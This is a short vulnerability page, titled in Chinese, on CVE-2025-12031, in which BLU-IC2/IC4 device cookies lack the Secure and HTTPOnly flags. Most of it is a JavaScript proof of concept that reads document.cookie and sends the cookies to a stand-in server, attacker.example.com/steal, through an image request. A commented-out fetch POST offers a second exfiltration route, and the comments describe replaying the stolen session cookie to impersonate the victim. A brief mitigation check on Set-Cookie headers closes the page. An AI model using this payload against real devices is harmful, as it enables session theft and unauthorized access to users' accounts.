CVE-2025-12031 BLU-IC2/IC4 Cookie缺少Secure和HTTPOnly属性漏洞

/* * CVE-2025-12031 - BLU-IC2/IC4 Cookie Security Misconfiguration PoC * This PoC demonstrates how an attacker can exploit missing HTTPOnly and Secure attributes * to read sensitive cookies from the JavaScript context. */ // Step 1: Attacker injects malicious JavaScript (e.g., via XSS or compromised page) // The target BLU-IC2/IC4 device's web server sets cookies without HTTPOnly flag // Step 2: Read sensitive cookies from the JavaScript context (function exploitCVE_2025_12031() { // Attempt to access cookies - this works because HTTPOnly attribute is missing var sensitiveCookies = document.cookie; console.log("[+] Captured Cookies:", sensitiveCookies); // Step 3: Exfiltrate the cookies to attacker-controlled server var exfilServer = "https://attacker.example.com/steal"; var img = new Image(); img.src = exfilServer + "?cookies=" + encodeURIComponent(sensitiveCookies); // Alternative exfiltration via fetch (if CORS is misconfigured) /* fetch(exfilServer, { method: 'POST', body: JSON.stringify({ cookies: sensitiveCookies, origin: window.location.href }), headers: { 'Content-Type': 'application/json' } }); */ // Step 4: Use stolen session cookie to impersonate the victim // Attacker can replay the cookie to gain unauthorized access to the BLU-IC device })(); /* * Mitigation Verification: * Check Set-Cookie response headers from BLU-IC2/IC4 device: * Vulnerable: Set-Cookie: sessionid=abc123; Path=/ * Secure: Set-Cookie: sessionid=abc123; Path=/; Secure; HTTPOnly; SameSite=Strict */